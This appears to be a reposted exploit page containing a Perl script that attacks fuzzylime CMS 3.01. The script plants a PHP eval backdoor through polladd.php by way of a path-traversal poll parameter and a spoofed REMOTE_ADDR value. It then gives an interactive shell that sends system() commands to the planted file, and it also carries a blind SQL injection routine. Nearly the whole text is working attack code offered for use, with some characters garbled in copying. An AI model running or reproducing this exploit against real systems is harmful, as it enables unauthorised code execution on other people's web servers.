fuzzylime cms 3.01 (polladd.php poll) Remote Code Execution Exploit (pl)

2023-12-04 0 912

#!/usr/bin/perl

#!!UPDATED!!!!UPDATED!!!!UPDATED!!!!UPDATED!!!!UPDATED!!!!UPDATED!!!!UPDATED!!

#after i noticed that there was a problem changing $cmd,i fixed it.this is the result.

##

## Fuzzylime 3.01 Remote Code Execution

## Credits: real and inphex

##

## [C:\\]# perl ye.pl host /path/

## :>id

## uid=63676(dswrealty) gid=888(vusers) groups=33(www-data)

##

use LWP::UserAgent;

use HTTP::Cookies;

use Switch;

$host_ = "http://".shift;

$path_ = shift;

$info{\’info\’} = {

"description" => ["#################################################\\nFuzzyLime Remote Code Execution\\n#################################################\\nreal & inphex\\n"],

"options" =>

{

"agent" => "",

"proxy" => "",

"default_headers" => [

["key","value"]],

"timeout" => 2,

"cookie" =>

{

"cookie" => [""],

},

},

"sending_options" =>

{

"host" => $host_,

"path" => $path_."code/polladd.php",

"port" => 80,

"method_a" => "REMOTE_CODE_EXECUTION",

"attack" =>

{

"poll" => ["get","poll","….//swear"],

"log" => ["get","log","1"],

"_SERVER[REMOTE_ADDR]" => ["get","_SERVER[REMOTE_ADDR]","\\";eval(\\"\\$_POST[cmd]\\"); ?>"],

},

},

};

&start($info{\’info\’},222);

while () {

print ":>";

$cmd = <STDIN>;

chomp($cmd);

$info1{\’info1\’} = { "options" =>{"agent" => "", "proxy" => "", "default_headers" => [ ["key","value"]], "timeout" => 2, "cookie" => {"cookie" => [""],},},"sending_options" =>{"host" => $host_, "path" => $path_."code/polls/swear.inc.php", "port" => 80, "method_a" => "REMOTE_CODE_EXECUTION", "attack" =>{

"cmd" => ["post","cmd","system(\’".$cmd."\’);"],},},};

&start($info1{\’info1\’},221);

print ${$info1{\’info1\’}}{221}{\’content\’};

}

sub start

{

$a_ = shift;

$id = shift;

$post_dA = "";

$get_dA = get_d_p_s("get");

$post_dA = get_d_p_s("post");

my ($x,$c,$m,$h,$ff,$kf,$hp,$c,$cccc) = (0,0,0,0,0,0,0,0,0);

$jj = 1;

$ii = 48;

$hh = 1;

$ppp = 0;

$s = shift;

$a = "";

$res_p = "";

$h = "";

$ua= "";

$agent= "";

$k= "";

$v= "";

$get_data= "";

$post_data= "";

$header_dA = "";

$h_host_h_xdsjaop = $a_->{\’sending_options\’}{\’host\’};

$h_path_h_xdsjaop = $a_->{\’sending_options\’}{\’path\’};

$h_port_h_xdsjaop = $a_->{\’sending_options\’}{\’port\’};

$method_m = $a_->{\’sending_options\’}{\’method_a\’};

$ua = LWP::UserAgent->new;

$ua->timeout($a_->{\’options\’}{\’timeout\’});

if ($a_->{\’options\’}{\’proxy\’}) {

$ua->proxy([\’http\’, \’ftp\’] => $a_->{\’options\’}{\’proxy\’});

}

$agent = $a_->{\’options\’}{\’agent\’} || "Mozilla/5.0";

$ua->agent($agent);

{

while (($k,$v) = each(%{$a_}))

{

if ($k ne "options" && $k ne "sending_options")

{

foreach $r (@{$a_->{$k}})

{

print $a_->{$k}[0];

}

}

}

foreach $j (@{$a_->{\’options\’}{\’default_headers\’}})

{

$ua->default_headers->push_header($a_->{\’options\’}{\’default_headers\’}[$m][0] => $a_->{\’options\’}{\’default_headers\’}[$m][1]);

$m ;

}

if ($a_->{\’options\’}{\’cookie\’}{\’cookie\’}[0])

{

$ua->default_headers->push_header(\’Cookie\’ => $a_->{\’options\’}{\’cookie\’}{\’cookie\’}[0]);

}

}

switch ($method_m)

{

case "attack" { &attack();}

case "SQL_INJECTION_BLIND" { &sql_injection_blind();}

case "REMOTE_COMMAND_EXECUTION" { &attack();}

case "REMOTE_CODE_EXECUTION" {&attack();}

case "REMOTE_FILE_INCLUSION" { &attack();}

case "LOCAL_FILE_INCLUSION" { &attack(); }

else { &attack(); }

}

sub attack

{

my ($jj);

my ($h);

my($x);

if ($post_dA eq "") {

$method = "get";

} elsif ($post_dA ne "")

{

$method = "post";

}

if ($method eq "get") {

$res_p = get_data($h_host_h_xdsjaop,$h_path_h_xdsjaop."?".$get_dA);

${$a_}{$id}{\’content\’} = $res_p;

foreach $a (@{$a_->{\’sending_options\’}{\’attack\’}{\’regex\’}})

{

$res_p =~ /$a_->{\’sending_options\’}{\’attack\’}{\’regex\’}[$h][0]/;

while ($jj <= $a_->{\’sending_options\’}{\’attack\’}{\’regex\’}[$h][1])

{

if (${$jj} ne "")

{

${$a_}{$id}{\’regex\’}[$h][$x] = ${$jj};

$x ;

}

$jj ;

}

$h ;

}

} elsif ($method eq "post")

{

$res_p = post_data($h_host_h_xdsjaop,$h_path_h_xdsjaop."?".$get_dA,"application/x-www-form-urlencoded",$post_dA);

${$a_}{$id}{\’content\’} = $res_p;

foreach $a (@{$a_->{\’sending_options\’}{\’attack\’}{\’regex\’}})

{

$res_p =~ /$a_->{\’sending_options\’}{\’attack\’}{\’regex\’}[$h][0]/;

while ($jj <= $a_->{\’sending_options\’}{\’attack\’}{\’regex\’}[$h][1])

{

if (${$jj} ne "")

{

${$a_}{$id}{\’regex\’}[$h][$x] = ${$jj};

$x ;

}

$jj ;

}

$h ;

}

}

}

sub sql_injection_blind

{

while ()

{

while ($ii <= 120)

{

$itsx = "[".chr($ii)."]";

$l = length($itsx);

$b = ("\\b")x$l;

syswrite STDOUT,$b.$itsx;

if(check($ii,$hh) == 1)

{

syswrite STDOUT,$b.chr($ii)."—";

$hh ;

$chr = $chr.chr($ii);

}

$ii ;

}

push(@ffs,length($chr));

if (($#ffs – 999) == $ffs)

{

exit;

}

$ii = 48;

}

}

sub check($$)

{

my ($h);

my ($a);

$ii = shift;

$hh = shift;

if (get_d_p_s("post") ne "")

{

$method = "post";

} else { $method = "get";}

if ($method eq "get")

{

$ppp ;

$query = modify($get_dA,$ii,$hh);

$res_p = get_data($h_host_h_xdsjaop,$a_->{\’sending_options\’}{\’path\’}."?".$query);

foreach $a (@{$a_->{\’sending_options\’}{\’attack\’}{\’regex\’}})

{

if ($res_p =~m/$a_->{\’sending_options\’}{\’attack\’}{\’regex\’}[$h][0]/)

{

if ($a_->{\’sending_options\’}{\’attack\’}{\’regex\’}[$h][2] == 1) {

return 1;

} else { return 0;}

}

else

{

if ($a_->{\’sending_options\’}{\’attack\’}{\’regex\’}[$h][2] == 1) {

return 0;

}else { return 1;}

}

$h ;

}

} elsif ($method eq "post")

{

$ppp ;

$query_g = modify($get_dA,$ii,$hh);

$query_p = modify($post_dA,$ii,$hh);

$res_p = post_data($h_host_h_xdsjaop,$a_->{\’sending_options\’}{\’path\’}."?".$query_g,"application/x-www-form-urlencoded",$query_p);

foreach $a (@{$a_->{\’sending_options\’}{\’attack\’}{\’regex\’}})

{

if ($res_p =~m/$a_->{\’sending_options\’}{\’attack\’}{\’regex\’}[$h][0]/)

{

return 1;

}

else

{

return 0;

}

$h ;

}

}

}

sub modify($$$)

{

$string = shift;

$replace_by = shift;

$replace_by1 = shift;

if ($string !~/\\$i/ && $string !~/\\$h/) {

return $string;

} elsif ($string !~/\\$i/)

{

$ff = substr($string,0,index($string,"\\$h"));

$ee = substr($string,rindex($string,"\\$h") 2);

$string = $ff.$replace_by1.$ee;

return $string;

} elsif ($string !~/\\$h/)

{

$f = substr($string,0,index($string,"\\$i"));

$e = substr($string,rindex($string,"\\$i") 2);

$string = $f.$replace_by.$e;

return $string;

} else

{

$f = substr($string,0,index($string,"\\$i"));

$e = substr($string,rindex($string,"\\$i") 2);

$string = $f.$replace_by.$e;

$ff = substr($string,0,index($string,"\\$h"));

$ee = substr($string,rindex($string,"\\$h") 2);

$string = $ff.$replace_by1.$ee;

return $string;

}

}

sub get_d_p_s

{

$k = 0;

$v = 0;

$g_d_p_s = shift;

@post = ();

@get = ();

$post_data = "";

$get_data = "";

$header_data = "";

%header_dA = ();

$p = "";

$g = "";

while (($k,$v) = each(%{$a_->{\’sending_options\’}{\’attack\’}}))

{

if ($a_->{\’sending_options\’}{\’attack\’}{$k}[0] =~/post/)

{

$p .= $a_->{\’sending_options\’}{\’attack\’}{$k}[1]."=".$a_->{\’sending_options\’}{\’attack\’}{$k}[2]."&";

} elsif ($a_->{\’sending_options\’}{\’attack\’}{$k}[0] =~/get/) {

$g .= $a_->{\’sending_options\’}{\’attack\’}{$k}[1]."=".$a_->{\’sending_options\’}{\’attack\’}{$k}[2]."&";

} elsif ($a_->{\’sending_options\’}{\’attack\’}{$k}[0] =~ "header")

{

$header_dA{$a_->{\’sending_options\’}{\’attack\’}{$k}[1]} = $a_->{\’sending_options\’}{\’attack\’}{$k}[2];

}

}

if ($g_d_p_s eq "get")

{

return $g;

}

elsif ($g_d_p_s eq "post")

{

return $p;

} elsif ($g_d_p_s eq "header")

{

return %header_dA;

}

@a_ = ();

}

sub get_data

{

$h_host_h_xdsjaop = shift;

$h_path_h_xdsjaop = shift;

%hash = get_d_p_s("header");

while (($u,$c) = each(%hash))

{

$ua->default_headers->push_header($u => $c);

}

$req = $ua->get($h_host_h_xdsjaop.":".$a_->{\’sending_options\’}{\’port\’}.$h_path_h_xdsjaop);

return $req->content;

}

sub post_data

{

$h_host_h_xdsjaop = shift;

$h_path_h_xdsjaop = shift;

$content_type = shift;

$send = shift;

%hash = get_d_p_s("header");

while (($u,$c) = each(%hash))

{

$ua->default_headers->push_header($u => $c);

}

$req = HTTP::Request->new(POST => $h_host_h_xdsjaop.":".$a_->{\’sending_options\’}{\’port\’}.$h_path_h_xdsjaop);

$req->content_type($content_type);

$req->content($send);

$res = $ua->request($req);

return $res->content;

}

}

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悠久资源 Exploit fuzzylime cms 3.01 (polladd.php poll) Remote Code Execution Exploit (pl) https://www.u-9.cn/security/exploit/71844.html

常见问题

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务